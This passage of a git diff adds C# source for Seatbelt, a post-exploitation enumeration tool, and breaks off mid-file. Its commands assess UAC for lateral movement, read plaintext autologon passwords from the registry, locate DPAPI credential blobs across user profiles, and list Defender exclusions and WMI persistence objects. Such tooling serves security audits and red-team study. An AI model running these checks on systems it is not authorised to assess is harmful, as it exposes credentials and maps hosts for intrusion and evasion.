+ public UserAccountControlFormatter(ITextWriter writer) : base(writer) + { + } + + public override void FormatResult(CommandBase? command, CommandDTOBase result, bool filterResults) + { + var dto = (UserAccountControlDTO)result; + + switch (dto.ConsentPromptBehaviorAdmin) + { + case 0: + WriteLine($" {0,-30} : {1} - No prompting", "ConsentPromptBehaviorAdmin", dto.ConsentPromptBehaviorAdmin); + break; + case 1: + WriteLine(" {0,-30} : {1} - PromptOnSecureDesktop", "ConsentPromptBehaviorAdmin", dto.ConsentPromptBehaviorAdmin); + break; + case 2: + WriteLine(" {0,-30} : {1} - PromptPermitDenyOnSecureDesktop", "ConsentPromptBehaviorAdmin", dto.ConsentPromptBehaviorAdmin); + break; + case 3: + WriteLine(" {0,-30} : {1} - PromptForCredsNotOnSecureDesktop", "ConsentPromptBehaviorAdmin", dto.ConsentPromptBehaviorAdmin); + break; + case 4: + WriteLine(" {0,-30} : {1} - PromptForPermitDenyNotOnSecureDesktop", "ConsentPromptBehaviorAdmin", dto.ConsentPromptBehaviorAdmin); + break; + case 5: + WriteLine(" {0,-30} : {1} - PromptForNonWindowsBinaries", "ConsentPromptBehaviorAdmin", dto.ConsentPromptBehaviorAdmin); + break; + default: + WriteLine(" {0,-30} : PromptForNonWindowsBinaries", "ConsentPromptBehaviorAdmin"); + break; + } + + bool enableLua = dto.EnableLua == 1 || dto.EnableLua == null; + bool localAccountFilterPolicyEnabled = dto.LocalAccountTokenFilterPolicy == 1; + bool filterAdministratorTokenEnabled = dto.FilterAdministratorToken == 1; + + WriteLine(" {0,-30} : {1}", "EnableLUA (Is UAC enabled?)", dto.EnableLua); + WriteLine(" {0,-30} : {1}", "LocalAccountTokenFilterPolicy", dto.LocalAccountTokenFilterPolicy); + WriteLine(" {0,-30} : {1}", "FilterAdministratorToken", dto.FilterAdministratorToken); + + + + if (!enableLua) + { + WriteLine(" [*] UAC is disabled.\n [*] Any administrative local account can be used for lateral movement."); + } + + if (enableLua && !localAccountFilterPolicyEnabled && !filterAdministratorTokenEnabled) + { + WriteLine(" [*] Default Windows settings - Only the RID-500 local admin account can be used for lateral movement."); + } + + if (enableLua && localAccountFilterPolicyEnabled) + { + WriteLine(" [*] LocalAccountTokenFilterPolicy == 1. Any administrative local account can be used for lateral movement."); + } + + if (enableLua && !localAccountFilterPolicyEnabled && filterAdministratorTokenEnabled) + { + WriteLine(" [*] LocalAccountTokenFilterPolicy set to 0 and FilterAdministratorToken == 1.\n [*] Local accounts cannot be used for lateral movement."); + } + } + } + } +} diff --git a/post_exploitation/Seatbelt/Seatbelt/Commands/Windows/UserRightAssignmentsCommand.cs b/post_exploitation/Seatbelt/Seatbelt/Commands/Windows/UserRightAssignmentsCommand.cs new file mode 100644 index 0000000..783aacc --- /dev/null +++ b/post_exploitation/Seatbelt/Seatbelt/Commands/Windows/UserRightAssignmentsCommand.cs @@ -0,0 +1,219 @@ +#nullable disable +using Seatbelt.Output.Formatters; +using System; +using System.Collections.Generic; +using System.Linq; +using Seatbelt.Output.TextWriters; +using System.Text.RegularExpressions; +using static Seatbelt.Interop.Netapi32; +using Seatbelt.Util; + + +namespace Seatbelt.Commands.Windows +{ + internal class UserRightAssignmentsCommand : CommandBase + { + public override string Command => "UserRightAssignments"; + public override string Description => "Configured User Right Assignments (e.g. SeDenyNetworkLogonRight, SeShutdownPrivilege, etc.) argument == computername to enumerate"; + public override CommandGroup[] Group => new[] {CommandGroup.System}; + public override bool SupportRemote => false; + + + private readonly string[] _allPrivileges = new[] +{ + "SeAssignPrimaryTokenPrivilege", + "SeAuditPrivilege", + "SeBackupPrivilege", + "SeBatchLogonRight", + "SeChangeNotifyPrivilege", + "SeCreateGlobalPrivilege", + "SeCreatePagefilePrivilege", + "SeCreatePermanentPrivilege", + "SeCreateSymbolicLinkPrivilege", + "SeCreateTokenPrivilege", + "SeDebugPrivilege", + "SeDenyBatchLogonRight", + "SeDenyInteractiveLogonRight", + "SeDenyNetworkLogonRight", + "SeDenyRemoteInteractiveLogonRight", + "SeDenyServiceLogonRight", + "SeEnableDelegationPrivilege", + "SeImpersonatePrivilege", + "SeIncreaseBasePriorityPrivilege", + "SeIncreaseQuotaPrivilege", + "SeIncreaseWorkingSetPrivilege", + "SeInteractiveLogonRight", + "SeLoadDriverPrivilege", + "SeLockMemoryPrivilege", + "SeMachineAccountPrivilege", + "SeManageVolumePrivilege", + "SeNetworkLogonRight", + "SeProfileSingleProcessPrivilege", + "SeRelabelPrivilege", + "SeRemoteInteractiveLogonRight", + "SeRemoteShutdownPrivilege", + "SeRestorePrivilege", + "SeSecurityPrivilege", + "SeServiceLogonRight", + "SeShutdownPrivilege", + "SeSyncAgentPrivilege", + "SeSystemEnvironmentPrivilege", + "SeSystemProfilePrivilege", + "SeSystemtimePrivilege", + "SeTakeOwnershipPrivilege", + "SeTcbPrivilege", + "SeTimeZonePrivilege", + "SeTrustedCredManAccessPrivilege", + "SeUndockPrivilege" + }; + + + private readonly string[] _defaultPrivileges = new[] + { + "SeAssignPrimaryTokenPrivilege", + "SeAuditPrivilege", + "SeBackupPrivilege", + "SeBatchLogonRight", + //"SeChangeNotifyPrivilege", + //"SeCreateGlobalPrivilege", + //"SeCreatePagefilePrivilege", + //"SeCreatePermanentPrivilege", + "SeCreateSymbolicLinkPrivilege", + "SeCreateTokenPrivilege", + "SeDebugPrivilege", + "SeDenyBatchLogonRight", + "SeDenyInteractiveLogonRight", + "SeDenyNetworkLogonRight", + "SeDenyRemoteInteractiveLogonRight", + "SeDenyServiceLogonRight", + "SeEnableDelegationPrivilege", + "SeImpersonatePrivilege", + //"SeIncreaseBasePriorityPrivilege", + //"SeIncreaseQuotaPrivilege", + //"SeIncreaseWorkingSetPrivilege", + "SeInteractiveLogonRight", + "SeLoadDriverPrivilege", + //"SeLockMemoryPrivilege", + //"SeMachineAccountPrivilege", + //"SeManageVolumePrivilege", + "SeNetworkLogonRight", + //"SeProfileSingleProcessPrivilege", + "SeRelabelPrivilege", + "SeRemoteInteractiveLogonRight", + "SeRemoteShutdownPrivilege", + "SeRestorePrivilege", + "SeSecurityPrivilege", + "SeServiceLogonRight", + "SeShutdownPrivilege", + "SeSyncAgentPrivilege", + "SeSystemEnvironmentPrivilege", + //"SeSystemProfilePrivilege", + //"SeSystemtimePrivilege", + "SeTakeOwnershipPrivilege", + "SeTcbPrivilege", + //"SeTimeZonePrivilege", + "SeTrustedCredManAccessPrivilege", + //"SeUndockPrivilege" + }; + + public UserRightAssignmentsCommand(Runtime runtime) : base(runtime) + { + } + + public override IEnumerable Execute(string[] args) + { + if (!SecurityUtil.IsHighIntegrity()) + { + WriteHost("Must be an administrator to enumerate User Right Assignments"); + yield break; + } + + var computerName = "localhost"; + string filter = null; + LsaWrapper lsa = null; + if (args.Length >= 1) + { + computerName = args[0]; + } + + if (args.Length >= 2) + { + filter = ".*" + args[1] + ".*"; + } + + try + { + lsa = new LsaWrapper(computerName); + } + catch (UnauthorizedAccessException) + { + WriteError("Insufficient privileges"); + yield break; + } + catch (Exception e) + { + WriteError("Unhandled exception enumerating user right assignments: " + e); + yield break; + } + + var privilegeSet = filter == null ? _defaultPrivileges : _allPrivileges.Where(p => Regex.IsMatch(p, filter, RegexOptions.IgnoreCase)).ToArray(); + + foreach (var priv in privilegeSet) + { + var principals = lsa.ReadPrivilege(priv); + + yield return new UserRightAssignmentsDTO() + { + Right = priv, + Principals = principals + }; + } + + if (lsa != null) + { + lsa.Dispose(); + } + } + + + } + + internal class UserRightAssignmentsDTO : CommandDTOBase + { + public string Right { get; set; } + public List Principals { get; set; } + } + + [CommandOutputType(typeof(UserRightAssignmentsDTO))] + internal class UserRightAssignmentsTextFormatter : TextFormatterBase + { + public UserRightAssignmentsTextFormatter(ITextWriter writer) : base(writer) + { + } + + public override void FormatResult(CommandBase? command, CommandDTOBase result, bool filterResults) + { + + var dto = (UserRightAssignmentsDTO)result; + WriteLine($"{dto.Right}:"); + + if (dto.Principals.Count <= 0) return; + foreach (var t in dto.Principals) + { + var accountName = ""; + + accountName = !string.IsNullOrEmpty(t.Domain) ? $"{t.Domain}\\{t.User}" : t.User; + + if (string.IsNullOrEmpty(accountName)) + { + accountName = t.Sid; + } + + WriteLine(" " + accountName); + } + + WriteLine(); + } + } +} +#nullable enable \ No newline at end of file diff --git a/post_exploitation/Seatbelt/Seatbelt/Commands/Windows/WMICommand.cs b/post_exploitation/Seatbelt/Seatbelt/Commands/Windows/WMICommand.cs new file mode 100644 index 0000000..24a354c --- /dev/null +++ b/post_exploitation/Seatbelt/Seatbelt/Commands/Windows/WMICommand.cs @@ -0,0 +1,140 @@ +using System; +using System.Collections; +using System.Collections.Generic; +using System.Management; +using Seatbelt.Output.Formatters; +using Seatbelt.Output.TextWriters; +using System.Collections.Specialized; +using System.Linq; +using System.Text; + + +namespace Seatbelt.Commands.Windows +{ + internal class WMICommand : CommandBase + { + public override string Command => "WMI"; + public override string Description => "Runs a specified WMI query"; + public override CommandGroup[] Group => new[] { CommandGroup.System }; + public override bool SupportRemote => true; + public Runtime ThisRunTime; + + public WMICommand(Runtime runtime) : base(runtime) + { + ThisRunTime = runtime; + } + + public override IEnumerable Execute(string[] args) + { + var wmiQuery = "Select * from Win32_ComputerSystem"; + var wmiNamespace = @"root\cimv2"; + + if (args.Length == 1) + { + wmiQuery = args[0]; + } + else if (args.Length == 2) + { + wmiNamespace = args[0]; + wmiQuery = args[1]; + } + + var results = new List(); + + using (var searcher = ThisRunTime.GetManagementObjectSearcher(wmiNamespace, wmiQuery)) + { + using var items = searcher.Get(); + + foreach (ManagementObject result in items) + { + var properties = new OrderedDictionary(); + + foreach (var prop in result.Properties) + { + properties.Add(prop.Name, prop.Value); + } + + results.Add(properties); + } + } + + yield return new WMIDTO( + results + ); + } + } + + internal class WMIDTO : CommandDTOBase + { + public WMIDTO(List results) + { + QueryResults = results; + } + public List QueryResults { get; } + } + + [CommandOutputType(typeof(WMIDTO))] + internal class WMIFormatter : TextFormatterBase + { + public WMIFormatter(ITextWriter writer) : base(writer) + { + } + + public override void FormatResult(CommandBase? command, CommandDTOBase result, bool filterResults) + { + var dto = (WMIDTO)result; + foreach (var resultEntry in dto.QueryResults) + { + var enumerator = resultEntry.GetEnumerator(); + + while (enumerator.MoveNext()) + { + var value = enumerator.Value; + if (value == null) + { + continue; + } + + var valueType = value.GetType(); + var valueName = enumerator.Key?.ToString(); + + if (valueType.IsArray) + { + WriteArrayValue(valueType, valueName, value); + } + else + { + WriteLine(" {0,-30}: {1}", valueName, value); + } + } + WriteLine(); + } + } + + private void WriteArrayValue(Type valueType, string? valueName, object value) + { + var elemType = valueType.GetElementType(); + + var name = $"{valueName}({valueType.Name})"; + + if (elemType == typeof(string)) + { + WriteLine($" {name,-30}:"); + foreach (var s in (string[]) value) + { + WriteLine($" {s}"); + } + } + else + { + IEnumerable s = ((IEnumerable) value).Cast() + .Select(x => x.ToString()) + .ToArray(); + + var v = string.Join(",", (string[]) s); + + WriteLine($" {name,-30}: {v}"); + } + } + } +} \ No newline at end of file diff --git a/post_exploitation/Seatbelt/Seatbelt/Commands/Windows/WMIEventConsumerCommand.cs b/post_exploitation/Seatbelt/Seatbelt/Commands/Windows/WMIEventConsumerCommand.cs new file mode 100644 index 0000000..b325af1 --- /dev/null +++ b/post_exploitation/Seatbelt/Seatbelt/Commands/Windows/WMIEventConsumerCommand.cs @@ -0,0 +1,96 @@ +using System.Collections.Generic; +using System.Management; +using System.Security.Principal; +using Seatbelt.Output.Formatters; +using Seatbelt.Output.TextWriters; + + +namespace Seatbelt.Commands.Windows +{ + internal class WMIEventConsumerCommand : CommandBase + { + public override string Command => "WMIEventConsumer"; + public override string Description => "Lists WMI Event Consumers"; + public override CommandGroup[] Group => new[] {CommandGroup.System}; + public override bool SupportRemote => false; // TODO: remote + + public WMIEventConsumerCommand(Runtime runtime) : base(runtime) + { + } + + public override IEnumerable Execute(string[] args) + { + // recurse and get members of the '__EventConsumer' SuperClass + var opt = new EnumerationOptions(); + opt.EnumerateDeep = true; + + var EventConsumerClass = new ManagementClass(@"\\.\ROOT\Subscription:__EventConsumer"); + // https://wutils.com/wmi/root/subscription/commandlineeventconsumer/cs-samples.html + + foreach (ManagementObject EventConsumer in EventConsumerClass.GetInstances(opt)) + { + var systemprops = EventConsumer.SystemProperties; + var ConsumerType = $"{systemprops["__CLASS"].Value}"; + + var sidBytes = (byte[])EventConsumer["CreatorSID"]; + var creatorSid = new SecurityIdentifier(sidBytes, 0); + + var properties = new Dictionary(); + + foreach (var prop in EventConsumer.Properties) + { + if(!prop.Name.Equals("CreatorSID")) + { + properties[prop.Name] = prop.Value; + } + } + + yield return new WMIEventConsumerDTO( + $"{EventConsumer["Name"]}", + creatorSid, + ConsumerType, + properties + ); + } + } + } + + internal class WMIEventConsumerDTO : CommandDTOBase + { + public WMIEventConsumerDTO(object name, object consumerType, object creatorSid, object properties) + { + Name = name; + ConsumerType = consumerType; + CreatorSid = creatorSid; + Properties = properties; + } + public object Name { get; } + + public object ConsumerType { get; } + + public object CreatorSid { get; } + + public object Properties { get; } + } + + [CommandOutputType(typeof(WMIEventConsumerDTO))] + internal class WMIEventConsumeFormatter : TextFormatterBase + { + public WMIEventConsumeFormatter(ITextWriter writer) : base(writer) + { + } + + public override void FormatResult(CommandBase? command, CommandDTOBase result, bool filterResults) + { + var dto = (WMIEventConsumerDTO)result; + + WriteLine(" {0,-30} : {1}", "Name", dto.Name); + WriteLine(" {0,-30} : {1}", "ConsumerType", dto.ConsumerType); + WriteLine(" {0,-30} : {1}", "CreatorSID", dto.CreatorSid); + foreach(var kvp in (Dictionary)dto.Properties) + { + WriteLine(" {0,-30} : {1}", kvp.Key, kvp.Value); + } + } + } +} diff --git a/post_exploitation/Seatbelt/Seatbelt/Commands/Windows/WMIEventFilterCommand.cs b/post_exploitation/Seatbelt/Seatbelt/Commands/Windows/WMIEventFilterCommand.cs new file mode 100644 index 0000000..f93dc45 --- /dev/null +++ b/post_exploitation/Seatbelt/Seatbelt/Commands/Windows/WMIEventFilterCommand.cs @@ -0,0 +1,61 @@ +using System.Collections.Generic; +using System.Management; +using System.Security.Principal; + +namespace Seatbelt.Commands.Windows +{ + internal class WmiEventFilterCommand : CommandBase + { + public override string Command => "WMIEventFilter"; + public override string Description => "Lists WMI Event Filters"; + public override CommandGroup[] Group => new[] {CommandGroup.System}; + public override bool SupportRemote => false; // TODO: remote + + public WmiEventFilterCommand(Runtime runtime) : base(runtime) + { + } + + public override IEnumerable Execute(string[] args) + { + var EventFilterClass = new ManagementClass(@"\\.\ROOT\Subscription:__EventFilter"); + + foreach (ManagementObject EventFilter in EventFilterClass.GetInstances()) + { + var sidBytes = (byte[])EventFilter["CreatorSID"]; + var creatorSid = new SecurityIdentifier(sidBytes, 0); + + yield return new WmiEventFilterDTO( + EventFilter["Name"], + EventFilter["__NAMESPACE"], + EventFilter["EventNamespace"], + EventFilter["Query"], + EventFilter["QueryLanguage"], + EventFilter["EventAccess"], + creatorSid + ); + } + + } + } + + internal class WmiEventFilterDTO : CommandDTOBase + { + public WmiEventFilterDTO(object name, object ns, object eventNamespace, object query, object queryLanguage, object eventAccess, object creatorSid) + { + Name = name; + Namespace = ns; + EventNamespace = eventNamespace; + Query = query; + QueryLanguage = queryLanguage; + EventAccess = eventAccess; + CreatorSid = creatorSid; + } + public object Name { get; } + public object Namespace { get; } + public object EventNamespace { get; } + public object Query { get; } + public object QueryLanguage { get; } + public object EventAccess { get; } + public object CreatorSid { get; } + } +} \ No newline at end of file diff --git a/post_exploitation/Seatbelt/Seatbelt/Commands/Windows/WMIFilterToConsumerBindingCommand.cs b/post_exploitation/Seatbelt/Seatbelt/Commands/Windows/WMIFilterToConsumerBindingCommand.cs new file mode 100644 index 0000000..5e5acf8 --- /dev/null +++ b/post_exploitation/Seatbelt/Seatbelt/Commands/Windows/WMIFilterToConsumerBindingCommand.cs @@ -0,0 +1,50 @@ +using System.Collections.Generic; +using System.Management; +using System.Security.Principal; + +namespace Seatbelt.Commands.Windows +{ + internal class WMIFilterToConsumerBindingCommand : CommandBase + { + public override string Command => "WMIFilterBinding"; + public override string Description => "Lists WMI Filter to Consumer Bindings"; + public override CommandGroup[] Group => new[] {CommandGroup.System}; + public override bool SupportRemote => false; // TODO: remote + + public WMIFilterToConsumerBindingCommand(Runtime runtime) : base(runtime) + { + } + + public override IEnumerable Execute(string[] args) + { + var BindingrClass = new ManagementClass(@"\\.\ROOT\Subscription:__FilterToConsumerBinding"); + + foreach (ManagementObject Binding in BindingrClass.GetInstances()) + { + var sidBytes = (byte[])Binding["CreatorSID"]; + var CreatorSID = new SecurityIdentifier(sidBytes, 0); + + yield return new WMIFilterToConsumerBindingDTO( + Binding["Filter"], + Binding["Consumer"], + CreatorSID + ); + } + } + } + + internal class WMIFilterToConsumerBindingDTO : CommandDTOBase + { + public WMIFilterToConsumerBindingDTO(object consumer, object filter, object creatorSid) + { + Consumer = consumer; + Filter = filter; + CreatorSID = creatorSid; + } + public object Consumer { get; } + + public object Filter { get; } + + public object CreatorSID { get; } + } +} diff --git a/post_exploitation/Seatbelt/Seatbelt/Commands/Windows/WindowsAutoLogonCommand.cs b/post_exploitation/Seatbelt/Seatbelt/Commands/Windows/WindowsAutoLogonCommand.cs new file mode 100644 index 0000000..19ae32e --- /dev/null +++ b/post_exploitation/Seatbelt/Seatbelt/Commands/Windows/WindowsAutoLogonCommand.cs @@ -0,0 +1,63 @@ +using System.Collections.Generic; +using Microsoft.Win32; + +namespace Seatbelt.Commands.Windows +{ + internal class WindowsAutoLogonCommand : CommandBase + { + public override string Command => "WindowsAutoLogon"; + public override string Description => "Registry autologon information"; + public override CommandGroup[] Group => new[] {CommandGroup.System}; + public Runtime ThisRunTime; + public override bool SupportRemote => true; + + public WindowsAutoLogonCommand(Runtime runtime) : base(runtime) + { + ThisRunTime = runtime; + } + + public override IEnumerable Execute(string[] args) + { + var winlogonPath = "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon"; + var strDefaultDomainName = ThisRunTime.GetStringValue(RegistryHive.LocalMachine, winlogonPath, "DefaultDomainName"); + + var strDefaultUserName = ThisRunTime.GetStringValue(RegistryHive.LocalMachine, winlogonPath, "DefaultUserName"); + + var strDefaultPassword = ThisRunTime.GetStringValue(RegistryHive.LocalMachine, winlogonPath, "DefaultPassword"); + + var strAltDefaultDomainName = ThisRunTime.GetStringValue(RegistryHive.LocalMachine, winlogonPath, "AltDefaultDomainName"); + + var strAltDefaultUserName = ThisRunTime.GetStringValue(RegistryHive.LocalMachine, winlogonPath, "AltDefaultUserName"); + + var strAltDefaultPassword = ThisRunTime.GetStringValue(RegistryHive.LocalMachine, winlogonPath, "AltDefaultPassword"); + + yield return new WindowsAutoLogonDTO( + strDefaultDomainName, + strDefaultUserName, + strDefaultPassword, + strAltDefaultDomainName, + strAltDefaultUserName, + strAltDefaultPassword + ); + } + + internal class WindowsAutoLogonDTO : CommandDTOBase + { + public WindowsAutoLogonDTO(string? defaultDomainName, string? defaultUserName, string? defaultPassword, string? altDefaultDomainName, string? altDefaultUserName, string? altDefaultPassword) + { + DefaultDomainName = defaultDomainName; + DefaultUserName = defaultUserName; + DefaultPassword = defaultPassword; + AltDefaultDomainName = altDefaultDomainName; + AltDefaultUserName = altDefaultUserName; + AltDefaultPassword = altDefaultPassword; + } + public string? DefaultDomainName { get; } + public string? DefaultUserName { get; } + public string? DefaultPassword { get; } + public string? AltDefaultDomainName { get; } + public string? AltDefaultUserName { get; } + public string? AltDefaultPassword { get; } + } + } +} \ No newline at end of file diff --git a/post_exploitation/Seatbelt/Seatbelt/Commands/Windows/WindowsCredentialFileCommand.cs b/post_exploitation/Seatbelt/Seatbelt/Commands/Windows/WindowsCredentialFileCommand.cs new file mode 100644 index 0000000..f1c9a39 --- /dev/null +++ b/post_exploitation/Seatbelt/Seatbelt/Commands/Windows/WindowsCredentialFileCommand.cs @@ -0,0 +1,166 @@ +using System; +using System.Collections.Generic; +using System.IO; +using System.Linq; +using System.Text; +using Seatbelt.Output.TextWriters; +using Seatbelt.Output.Formatters; + + +namespace Seatbelt.Commands.Windows +{ + internal class CredentialFileInfo + { + public CredentialFileInfo(string fileName, string description, Guid guidMasterKey, DateTime lastAccessed, DateTime lastModified, long size) + { + FileName = fileName; + Description = description; + GuidMasterKey = guidMasterKey; + LastAccessed = lastAccessed; + LastModified = lastModified; + Size = size; + } + + public string FileName { get; set; } + + public string Description { get; set; } + + public Guid GuidMasterKey { get; set; } + + public DateTime LastAccessed { get; set; } + + public DateTime LastModified { get; set; } + + public long Size { get; set; } + } + + internal class WindowsCredentialFileCommand : CommandBase + { + public override string Command => "WindowsCredentialFiles"; + public override string Description => "Windows credential DPAPI blobs"; + public override CommandGroup[] Group => new[] { CommandGroup.User }; + public override bool SupportRemote => false; // TODO + + public WindowsCredentialFileCommand(Runtime runtime) : base(runtime) + { + } + + public override IEnumerable Execute(string[] args) + { + var systemRoot = Environment.GetEnvironmentVariable("SystemRoot"); + var userFolder = $"{Environment.GetEnvironmentVariable("SystemDrive")}\\Users\\"; + + var credentialFolders = new List() + { + $"{systemRoot}\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Credentials", + $"{systemRoot}\\System32\\config\\systemprofile\\AppData\\Roaming\\Microsoft\\Credentials", + $"{systemRoot}\\ServiceProfiles\\LocalService\\AppData\\Local\\Microsoft\\Credentials", + $"{systemRoot}\\ServiceProfiles\\LocalService\\AppData\\Roaming\\Microsoft\\Credentials", + $"{systemRoot}\\ServiceProfiles\\NetworkService\\AppData\\Local\\Microsoft\\Credentials", + $"{systemRoot}\\ServiceProfiles\\NetworkService\\AppData\\Roaming\\Microsoft\\Credentials" + }; + + foreach (var dir in Directory.GetDirectories(userFolder)) + { + if (dir.EndsWith("Public") || dir.EndsWith("Default") || dir.EndsWith("Default User") || + dir.EndsWith("All Users")) + { + continue; + } + + credentialFolders.Add($"{dir}\\AppData\\Local\\Microsoft\\Credentials\\"); + credentialFolders.Add($"{dir}\\AppData\\Roaming\\Microsoft\\Credentials\\"); + }; + + foreach (var credPath in credentialFolders) + { + foreach (var commandDtoBase in GetCredentialsFromDirectory(credPath)) + yield return commandDtoBase; + } + } + + private IEnumerable GetCredentialsFromDirectory(string credPath) + { + if (!Directory.Exists(credPath)) + yield break; + + var userFiles = Directory.GetFiles(credPath); + if (userFiles.Length == 0) + yield break; + + var userCredentials = userFiles.Select(CredentialFile).ToList(); + + yield return new WindowsCredentialFileDTO(credPath, userCredentials); + } + + private CredentialFileInfo CredentialFile(string file) + { + var size = new FileInfo(file).Length; + + // jankily parse the bytes to extract the credential type and master key GUID + // reference- https://github.com/gentilkiwi/mimikatz/blob/3d8be22fff9f7222f9590aa007629e18300cf643/modules/kull_m_dpapi.h#L24-L54 + var credentialArray = File.ReadAllBytes(file); + var guidMasterKeyArray = new byte[16]; + Array.Copy(credentialArray, 36, guidMasterKeyArray, 0, 16); + var guidMasterKey = new Guid(guidMasterKeyArray); + + var stringLenArray = new byte[16]; + Array.Copy(credentialArray, 56, stringLenArray, 0, 4); + var descLen = BitConverter.ToInt32(stringLenArray, 0); + + var descBytes = new byte[descLen - 4]; + Array.Copy(credentialArray, 60, descBytes, 0, descBytes.Length); + + var desc = Encoding.Unicode.GetString(descBytes); + + var cred = new CredentialFileInfo( + Path.GetFileName(file), + desc, + guidMasterKey, + File.GetLastAccessTime(file), + File.GetLastAccessTime(file), + size + ); + + return cred; + } + } + + internal class WindowsCredentialFileDTO : CommandDTOBase + { + public WindowsCredentialFileDTO(string folder, List credentials) + { + Folder = folder; + CredentialInfo = credentials; + } + public string Folder { get; set; } + public List CredentialInfo { get; } + } + + [CommandOutputType(typeof(WindowsCredentialFileDTO))] + internal class WindowsCredentialFileFormatter : TextFormatterBase + { + public WindowsCredentialFileFormatter(ITextWriter writer) : base(writer) + { + } + + public override void FormatResult(CommandBase? command, CommandDTOBase result, bool filterResults) + { + var dto = (WindowsCredentialFileDTO)result; + + WriteLine(" Folder : {0}\n", dto.Folder); + + foreach (var credentialFile in dto.CredentialInfo) + { + WriteLine(" FileName : {0}", credentialFile.FileName); + WriteLine(" Description : {0}", credentialFile.Description); + WriteLine(" MasterKey : {0}", credentialFile.GuidMasterKey); + WriteLine(" Accessed : {0}", credentialFile.LastAccessed); + WriteLine(" Modified : {0}", credentialFile.LastModified); + WriteLine(" Size : {0}\n", credentialFile.Size); + } + + WriteLine(); + } + } +} diff --git a/post_exploitation/Seatbelt/Seatbelt/Commands/Windows/WindowsDefenderCommand.cs b/post_exploitation/Seatbelt/Seatbelt/Commands/Windows/WindowsDefenderCommand.cs new file mode 100644 index 0000000..f3d0a1f --- /dev/null +++ b/post_exploitation/Seatbelt/Seatbelt/Commands/Windows/WindowsDefenderCommand.cs @@ -0,0 +1,247 @@ +using System; +using Microsoft.Win32; +using System.Collections.Generic; +using Seatbelt.Output.TextWriters; +using Seatbelt.Output.Formatters; +using Seatbelt.Util; + + +namespace Seatbelt.Commands.Windows +{ + internal class WindowsDefenderCommand : CommandBase + { + public override string Command => "WindowsDefender"; + public override string Description => "Windows Defender settings (including exclusion locations)"; + public override CommandGroup[] Group => new[] { CommandGroup.System, CommandGroup.Remote }; + public override bool SupportRemote => true; + public Runtime ThisRunTime; + + public WindowsDefenderCommand(Runtime runtime) : base(runtime) + { + ThisRunTime = runtime; + } + + public override IEnumerable Execute(string[] args) + { + yield return new WindowsDefenderDTO( + new WindowsDefenderSettings(@"SOFTWARE\Microsoft\Windows Defender\", ThisRunTime), + new WindowsDefenderSettings(@"SOFTWARE\Policies\Microsoft\Windows Defender\", ThisRunTime) + ); + } + } + + internal class AsrRule + { + public AsrRule(Guid rule, int state) + { + Rule = rule; + State = state; + } + public Guid Rule { get; } + public int State { get; } + } + internal class AsrSettings + { + public AsrSettings(bool enabled) + { + Enabled = enabled; + Rules = new List(); + Exclusions = new List(); + } + + public bool Enabled { get; } + public List Rules { get; } + public List Exclusions { get; } + } + + internal class WindowsDefenderDTO : CommandDTOBase + { + public WindowsDefenderDTO(WindowsDefenderSettings localSettings, WindowsDefenderSettings groupPolicySettings) + { + LocalSettings = localSettings; + GroupPolicySettings = groupPolicySettings; + } + public WindowsDefenderSettings LocalSettings { get; set; } + public WindowsDefenderSettings GroupPolicySettings { get; set; } + } + + internal class WindowsDefenderSettings + { + public WindowsDefenderSettings(string defenderKeyPath, Runtime runtime) + { + var pathExclusionData = runtime.GetValues(RegistryHive.LocalMachine, $"{ defenderKeyPath}\\Exclusions\\Paths"); + PathExclusions = new List(); + foreach (var kvp in pathExclusionData) + { + PathExclusions.Add(kvp.Key); + } + + + PolicyManagerPathExclusions = new List(); + var excludedPaths = runtime.GetStringValue(RegistryHive.LocalMachine, $"{defenderKeyPath}\\Policy Manager", "ExcludedPaths"); + if (excludedPaths != null) + { + foreach (var s in excludedPaths.Split('|')) + { + PolicyManagerPathExclusions.Add(s); + } + } + + var processExclusionData = runtime.GetValues(RegistryHive.LocalMachine, $"{defenderKeyPath}\\Exclusions\\Processes"); + ProcessExclusions = new List(); + foreach (var kvp in processExclusionData) + { + ProcessExclusions.Add(kvp.Key); + } + + var extensionExclusionData = runtime.GetValues(RegistryHive.LocalMachine, $"{defenderKeyPath}\\Exclusions\\Extensions"); + ExtensionExclusions = new List(); + foreach (var kvp in extensionExclusionData) + { + ExtensionExclusions.Add(kvp.Key); + } + + var asrKeyPath = $"{defenderKeyPath}\\Windows Defender Exploit Guard\\ASR"; + var asrEnabled = runtime.GetDwordValue(RegistryHive.LocalMachine, asrKeyPath, "ExploitGuard_ASR_Rules"); + + AsrSettings = new AsrSettings( + asrEnabled != null && (asrEnabled != 0) + ); + + foreach (var value in runtime.GetValues(RegistryHive.LocalMachine, $"{asrKeyPath}\\Rules")) + { + AsrSettings.Rules.Add(new AsrRule( + new Guid(value.Key), + int.Parse((string)value.Value) + )); + } + + foreach (var value in runtime.GetValues(RegistryHive.LocalMachine, $"{asrKeyPath}\\ASROnlyExclusions")) + { + AsrSettings.Exclusions.Add(value.Key); + } + } + + public List PathExclusions { get; } + public List PolicyManagerPathExclusions { get; } + public List ProcessExclusions { get; } + public List ExtensionExclusions { get; } + public AsrSettings AsrSettings { get; } + } + + [CommandOutputType(typeof(WindowsDefenderDTO))] + internal class WindowsDefenderFormatter : TextFormatterBase + { + public WindowsDefenderFormatter(ITextWriter writer) : base(writer) + { + } + + private Dictionary _AsrGuids = new Dictionary + { + { "d4f940ab-401b-4efc-aadc-ad5f3c50688a" ,"Block all Office applications from creating child processes"}, + { "5beb7efe-fd9a-4556-801d-275e5ffc04cc" , "Block execution of potentially obfuscated scripts"}, + { "92e97fa1-2edf-4476-bdd6-9dd0b4dddc7b" , "Block Win32 API calls from Office macro "}, + { "3b576869-a4ec-4529-8536-b80a7769e899" , "Block Office applications from creating executable content "}, + { "75668c1f-73b5-4cf0-bb93-3ecf5cb7cc84" , "Block Office applications from injecting code into other processes"}, + { "d3e037e1-3eb8-44c8-a917-57927947596d" , "Block JavaScript or VBScript from launching downloaded executable content"}, + { "be9ba2d9-53ea-4cdc-84e5-9b1eeee46550" , "Block executable content from email client and webmail"}, + { "01443614-cd74-433a-b99e-2ecdc07bfc25" , "Block executable files from running unless they meet a prevalence, age, or trusted list criteria"}, + { "c1db55ab-c21a-4637-bb3f-a12568109d35" , "Use advanced protection against ransomware"}, + { "9e6c4e1f-7d60-472f-ba1a-a39ef669e4b2" , "Block credential stealing from the Windows local security authority subsystem (lsass.exe)"}, + { "d1e49aac-8f56-4280-b9ba-993a6d77406c" , "Block process creations originating from PSExec and WMI commands"}, + { "b2b3f03d-6a65-4f7b-a9c7-1c7ef74a9ba4" , "Block 